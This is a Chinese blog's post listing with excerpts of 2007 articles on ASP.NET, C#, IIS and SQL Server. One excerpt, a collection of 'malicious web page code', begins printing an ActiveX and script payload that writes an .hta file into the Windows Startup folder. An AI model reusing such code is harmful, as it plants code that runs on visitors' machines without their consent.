自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

jxufewbt的专栏

他山之石,可以攻玉

  • 博客(647)
  • 收藏
  • 关注

原创 关于跨应用程序域边界的对象访问

一个应用程序域可以通过两种方式和另一个应用程序域进行通信。一种是传值(by value),另一种是传引用(by reference)传值是通过对象的序列和反序列实现的,因此要传递的对象必须有System.Serializable属性.它的实现原理:我们在应用程序域A中构造了一个对象A1,现在要将对象A1的引用传递给另一个应用程序域B,CLR首先会将对象A1的字段序列化到一个内存块,然后再将

2007-07-29 16:49:00 2540

原创 ASP调用.NET编写的组件

总结一下今天碰到的一个问题:之前用C#写了一个组件,现在有一个asp的程序也要使用同样的功能,也就是要让asp调用这个.net程序集OK, 下面开始:    1. regasm ConvertHelper.dll /tlb:ConvertHelper.tlb    2. 在asp程序中使用.在第2步时提示CreateObject出错,然而,在我设置了:项目名称->点右键"属性"->配置属性->生成

2007-07-29 16:46:00 1490

原创 开发人员一定要加入收藏夹的网站

http://www.gotapi.com/ 语言:英语 简介:HTML,CSS,XPATH,XSL,JAVASCRIPT等API的查询网站。http://www.w3schools.com/ 语言:英语 简介:W3C制定的标准诸如XML,HTML,XSL等等的在线学习教程。http://www.xml.org.cn/ 语言:中文 简介:可以说是XML的中国官方网吧。W3C标准的翻译组织与XML系

2007-07-28 18:37:00 873

原创 类似GOOGLE的分页函数

/// /// 类似GOOGLE的分页函数/// /// 总记录数/// 每页记录数/// 当前页数/// Url参数private string pagination(int total,int per,int page,string query_string){       int allpage=0;       int next=0;       int pre=0;       int

2007-07-28 15:45:00 1097

原创 在Repeater控件中格式化日期

在Repeater控件中绑定的一个数据中,如:由于数据库中的时间字段格式是:2005-12-16 11:52:01而我在Repeater控件中要的日期格式是:2005-12-16 只需要加上:就可以达到效果了!======================================================================转载以下有关日期类型格式化显示的文章以供学习:

2007-07-28 15:35:00 2481

原创 收集十七项网页恶意代码

1、格式化硬盘 <object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC"> </object> <script> scr.Reset(); scr.Path="C://windows//Men?inicio//Programas//Inicio//automat.hta"; scr.Doc="<object id=w

2007-07-23 18:35:00 1621

原创 正则表达式30分钟入门教程

目录 本文目标 如何使用本教程 正则表达式到底是什么? 入门 测试正则表达式 元字符 字符转义 重复 字符类 反义 替换 分组 后向引用 零宽断言 负向零宽断言 注释 贪婪与懒惰

2007-07-14 20:35:00 1119

原创 /Config/machine.config 行: 198

行   196:    行   197:    行   198:    行   199:    行   200:            源文件:   c:/windows/microsoft.net/framework/v1.1.4322/Config/machine.config         行:   198    把你web.config里自动生成的assembly标记删除,

2007-07-13 20:22:00 1500

原创 Windows Internet服务器安全配置

原理篇 我们将从入侵者入侵的各个环节来作出对应措施 一步步的加固windows系统. 加固windows系统.一共归于几个方面 1.端口限制 2.设置ACL权限 3.关闭服务或组件 4.包过滤 5.审计 我们现在开始从入侵者的第一步开始.对应的开始加固已有的windows系统. 1.扫描 这是入侵者在刚开始要做的第一步.比如搜索有漏洞的服务. 对应措施:端口限制 以下所有规则.都需要选择镜像,否则

2007-07-13 16:10:00 1005

原创 如何在Vista IIS 7 中用 VS2005 调试 Web 项目?

在Vista IIS 7 中用 vs2005 调试 Web 项目核心是要解决以下几个问题: Vista 自身在安全性方面的User Account Control (UAC)  安装必须的IIS7 组件。 Vista 自带的IIS7 跟 IIS 6 在底层都发生了变化,我们如何让IIS7以兼容IIS6 的方式运行。因为VS2005并不支持IIS7。

2007-07-13 16:07:00 2317

原创 用编程方式给IIS里增加MIME类型

最近在搞一个安装程序,其中有一步,是要给iis增加一个新的mime类型.log,好让用户能下载iis的日志。 iis的所有的操作都可以用System.DirectoryServices里的功能完成。mime类型一定也可以。果然,经过一翻寻找,在msdn中找到。原文如下:http://msdn2.microsoft.com/en-us/library/ms525901.aspx 这里面关键一步是引

2007-07-13 16:05:00 2616 1

原创 IIS的完整控制类

using System;using System.Data;using System.DirectoryServices;using System.Collections;namespace CreateWebDir{    ///     /// IISManager 的摘要说明。    ///     public class IISManager    {        //定义需

2007-07-13 16:03:00 1148

原创 健全的IIS应用程序池设置

通过回收应用程序池设置,可以控制如何恢复系统资源。以下几节介绍如何指定回收应用程序池设置。 指定回收应用程序池设置 回收应用程序池设置是在应用程序池的属性对话框的“回收”选项卡中指定的。 设置回收应用程序池设置  打开 IIS 管理控制台,单击加号展开本地计算机。  单击加号展开“应用程序池”文件夹。  右击适当的应用程序池,然后单击“属性”。出现应用程序池

2007-07-13 16:01:00 2594

原创 javascript+css 实现tab功能

            .tabheader table {  border-collapse: collapse; /* for IE */  border-spacing: 0; /* for N6 */}.tabheader table tr td {margin:0;padding:0;border-width:0}.tabheader .close {  border-s

2007-07-13 15:57:00 1209

原创 实现COM组件向Web Services的转变

微软的.NET开发平台已经发布好长时间了,我们现在需要放弃以前编写的组件而转到VB.NET和C#吗?答案是否定的。我们既不需要放弃以前的组件,反而可以加以利用。大多数程序开发人员要从以前的开发环境迁移到VB.NET和C#是需要付出一定的代价的。然而,为了保持现存程序的兼容性,仍然需要使用VB6。值得庆幸的是,微软的SOAP开发工具Simple Object Access Protocol (SOA

2007-07-13 15:55:00 1104

原创 你可能已经知道或者不知道的ASP.NET 2.0技巧

1、在CallBack之后保持滚动条的位置 在Asp.Net1.1中,CallBack之后保持滚动条的位置是一件非常痛苦的事情,特别是页中有一个Grid并且想要编辑特定的行。为了不停留在想要得行,页面会重新加载并且必须在顶部向下滚动。在Asp2.0中,只需要简单的在页面的属性中加入MaintainScrollPostionOnPostBack属性即可: 复制ASPX代码保存代码 Pag

2007-07-13 15:51:00 967

原创 Cookie与自动保存

0.相关概念及知识 1.编写和保存Cookie 2.列举Cookie 3.读取Cookie 4.修改和删除Cookie 5.Cookie和安全性 6.设定IE浏览器是否接受Cookie 0.相关概念及知识 Cookie 提供了一种在 Web 应用程序中存储用户特定信息的方法。 例如,当用户访问您的站点时, 您可以使用 Cookie 存储用户首选项或其他信息。 当该用户再次访问您的网站时,应用程序便

2007-07-13 15:50:00 1989

原创 推荐一个工具ViewState分析工具

最近忙于开发一套internet应用的信息系统,以前做企业内部管理系统,几乎不用考虑到的ViewState 的问题,导致一个表单录入竟然有300k-400k的大小。很显然在internet是不可行的,所以做了很多优化的办法,最后压缩到不到原来的1/10。 asp.net的控件开发模型,在一定程度上是成功的,然后控件开发模型带来的ViewState 的开销,如果开发不注意,会导致页面体积猛涨。 C

2007-07-13 15:49:00 1599

原创 SQL Server 2005利用分区对海量数据的处理

超大型数据库的大小常常达到数百GB,有时甚至要用TB来计算。而单表的数据量往往会达到上亿的记录,并且记录数会随着时间而增长。这不但影响着数据库的运行效率,也增大数据库的维护难度。除了表的数据量外,对表不同的访问模式也可能会影响性能和可用性。这些问题都可以通过对大表进行合理分区得到很大的改善。当表和索引变得非常大时,分区可以将数据分为更小、更容易管理的部分来提高系统的运行效率。如果系统有多个CPU或

2007-07-13 15:47:00 1029

原创 C#开发-基础知识及有用技巧

1、时间长度的计算 TimeSpan类。    例如: 复制C#代码保存代码TimeSpan span = dateTime1 - dateTime2;    2、从类(Class)返回一个System.Type类型,用typeof关键字 3、从一个对象实例(Object)返回一个System.Type类型,用GetType方法 4、判断是否处于设计状态:DesignM

2007-07-13 15:45:00 2352

原创 ArrayList用法

System.Collections.ArrayList类是一个特殊的数组。通过添加和删除元素,就可以动态改变数组的长度。 一.优点 1。支持自动改变大小的功能 2。可以灵活的插入元素 3。可以灵活的删除元素 二.局限性 跟一般的数组比起来,速度上差些 三.添加元素 1.publicvirtualintAdd(objectvalue); 将对象添加到ArrayList的结尾处 复制C#代码

2007-07-13 15:43:00 969

原创 C#中生成中文繁体web页面

1 在工程中引用Microsoft.VisualBasic.dll 一般此文件在.net框架环境目录中如C:/ WINNT /Microsoft.NET /Framework /v1.1.4322 /Microsoft.VisualBasic.dll。 2 使用方法 Microsoft.VisualBasic.Strings.StrConv( “instr”,Microsoft.VisualB

2007-07-13 13:22:00 797

原创 推荐一个超好的JS函数库

 1/**//*------------------------------------------------------------  2 *                    S.Sams Lifexperience  3 * CopyRight (C) 2003-2007 S.Sams Lifexperience ScriptClassLib  4 * MSNLive: S.Sams#

2007-07-10 15:01:00 1214

原创 JavaScript获取网页中HTML元素的几种方法分析

getElementById getElementsByName getElementsByTagName 大概介绍  getElementById ,getElementsByName ,getElementsByTagName  后两个是得到集合,byid只是得到单个对象  getElementById 的用法  举个例子:  网页陶吧  同一页面内的引用方法:

2007-07-10 14:32:00 1469

原创 AJAX的安全性及AJAX安全隐患

Web开发者不会注意到由 “AJAX(Asynchronous JavaScript And XML)”所带来的激情。不费力气就能创建像Google Suggest那样的智能网站或者像Gmail那样基于Web的应用程序,这在很大程度上要归功于这种技术。然而,伴随着AJAX应用程序的发展,我们发现了它的一些不足之处,我们发现它的安全漏洞也在逐渐变大,就像慢慢地把基于AJAX的站点放入了一颗定时炸弹中

2007-07-10 14:23:00 961

原创 安装或运行程序时提示 80等端口被占用情况的解决

今天装win2003 iis6 后,不能启动,提示有另一个程序正在运行,在网上搜过之后,解决:在win03的cmd命令窗口输入netstat -abn ->c:/port80.txt 然后到c盘port80.txt文件中找到占用80端口的程序pid,记下pid。打开任务管理器,点击“查看”/选择列,勾选“PID(进程标识符)”,然后单击“进程”标签,找到80端口对应的pid,就可以看到是那个程

2007-07-10 14:14:00 3336

原创 XHTML+CSS=网站重构

一,什么是WEB标准?WEB标准不是某一个标准,而是一系列标准的集合。网页主要由三部分组成:结构(Structure)、表现(Presentation)和行为(Behavior)。对应的标准也分三方面:结构化标准语言主要包括XHTML和XML,表现标准语言主要包括CSS,行为标准主要包括对象模型(如W3C DOM)、ECMAScript等。这些标准大部分由W3C起草和发布,也有一些是其他标准组

2007-07-10 14:10:00 978

原创 可定制的数据库备份和恢复程序

在我们做数据库系统的程序时,经常需要为客户做一个数据库的备份和恢复程序,特别是对于一些非专业的数据库用户,这个程序更是必不可少,而且操作必需足够简单。因为在很多系统中,数据库的备份恢复功能都是相近的,因此,我们最好做一个通用的数据库备份恢复程序,这样就不必每个系统都开发一套了。 要开发这样一套系统,我个人认为应该满足以下要求: 1. 备份恢复操作应该有历史记录(必需有一个备份列表,列出备份文件的相

2007-07-10 14:06:00 838

原创 C#中常用的经典文件操作方法

C#追加文件 StreamWriter sw = File.AppendText(Server.MapPath(".")+"//myText.txt"); sw.WriteLine("追逐理想"); sw.WriteLine("kzlll"); sw.WriteLine(".NET笔记"); sw.Flush(); sw.Close(); C#拷贝文件 string OrignFile

2007-07-09 13:24:00 1113

原创 XSLT的元素语法

xsl:template和xsl:apply-templates xsl:value-of xsl:for-each xsl:if Xxsl:choose, when, otherwise xsl:sortxsl:template和xsl:apply-templates模板(template)是XSLT中最重要的概念之一。XSLT文件就是由一个一个的模板组成,任何一个XSLT文件至少包含一个模

2007-07-09 13:06:00 846

原创 将现有企业级模板项目从 Visual Studio .NET 2003 迁移到 Visual Studio 2005

“企业级模板项目”这个术语是指从 Visual Studio .NET 2003(或 Visual Studio .NET 2002)企业级模板实例化的 Visual Studio 解决方案。这些解决方案中包含一个或多个 .etp(企业级模板项目)文件。与迁移常规的 Visual Studio 项目和解决方案文件相比,将企业级模板项目从 Visual Studio .NET 2003 迁移至

2007-07-09 12:23:00 961

原创 VS2005集成VSS2005的方法

Q:安装了VSS6/VSS2005,但是Visual Studio 2005的IDE中看不到VSS,怎么办?A:打开菜单中的 Tools->Options 选择 SourceControl->Plug-ins设置为“Microsoft Visual SourceSafe ” "Microsoft Visual SourceSafe (Internet)" (VSS 2005)如果没

2007-07-09 11:14:00 861

原创 SQL Server 2000安全配置完全攻略

数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和客户信息。  数据库是电子商务、金融以及ERP系统的基础,通常都保存着重要的商业伙伴和客户信息。大多数企业、组织以及政府部门的电子数据都保存在各种数据库中,他们用这些数据库保存一些个人资料,比如员工薪水、个人资料等等。数据库服务器还掌握着敏感的金融数据。包括交易记录、商业事务和帐号数据,战略上的或者专业的信息,比如专利和工

2007-07-08 19:06:00 906

原创 SQL Server 经验

一、了解你用的工具      不要轻视这一点,这是我在这篇文章中讲述的最关键的一条。也许你也看到有很多的SQL Server程序员没有掌握全部的T-SQL命令和SQL Server提供的那些有用的工具。   “什么?我要浪费一个月的时间来学习那些我永远也不会用到的SQL命令???”,你也许会这样说。对的,你不需要这样做。但是你应该用一个周末浏览所有的T-SQL命令。在这里,你的任务是了解,将来

2007-07-08 18:58:00 854

原创 手工卸载SQL Server 2000

操作步骤: (1)运行Regedit.exe,然后删除以下注册表子项: HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/MSSQLServer HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/ Microsoft SQL Server HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/M

2007-07-08 18:50:00 1259

原创 Sql Server 2000挂起无法安装的解决办法

问题描述:以前的某个程序安装已在安装计算机上创建挂起的文件操作。之前安装过sql server,后来删掉;或之前安装sql server没有成功现在再次安装,却出现“以前的某个程序安装已在安装计算机上创建挂起的文件操作。运行安装程序之前必须重新启动计算机”错误,导致sql server无法安装。解决办法: 1)添加/删除程序中彻底删除sql server。 2)将没有删除的sql server目录

2007-07-08 18:46:00 1334

原创 C#抓屏

要想完成这个功能,首先要了解一下在C#中如何调用API(应用程序接口)函数。虽然在.Net框架中已经提供了许多类库,这些类库的功能也十分强大,但对于一些Windows底层编程来说,还是要通过调用这些API函数才可以实现。所有API都在"Kernel"、"User "和"GDI"三个库中得以运行:其中"Kernel",他的库名为 "KERNEL32.DLL", 他主要用于产生与操作系统之间的关联,譬

2007-07-08 16:57:00 1275 1

原创 IIS配置HTTPS服务的方法

 HTTPS 是一个安全通信通道,用于在客户计算机和服务器之间交换信息。它使用安全套接字层 (SSL)。本文说明如何在 Internet 信息服务 (IIS) 中配置 SSL/HTTPS 服务,并将此过程与 Apache 中的类似过程进行了比较。为 Web 服务器配置 SSL 要在 IIS 中启用 SSL,首先必须获得用于加密和解密通过网络传输的信息的证书。IIS 具有自己的证书请求工具,您可以使

2007-07-07 12:12:00 2505

原创 什么是HTTPS

HTTPS(Secure Hypertext Transfer Protocol)安全超文本传输协议 它是一个安全通信通道,它基于HTTP开发,用于在客户计算机和服务器之间交换信息。它使用安全套接字层(SSL)进行信息交换,简单来说它是HTTP的安全版。 它是由Netscape开发并内置于其浏览器中,用于对数据进行压缩和解压操作,并返回网络上传送回的结果。HTTPS实际上应用了Netscape的安

2007-07-07 12:08:00 1456

原创 分页实现方法的性能比较

几种常用存储过程分页方法 TopN方法 select Top(@PageSize) from TableName where ID Not IN   (Select Top ((@PageIndex-1)*@PageSize)  ID from Table Name where .... order by ... ) where .... order by ... 临时表

2007-07-04 12:59:00 987

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除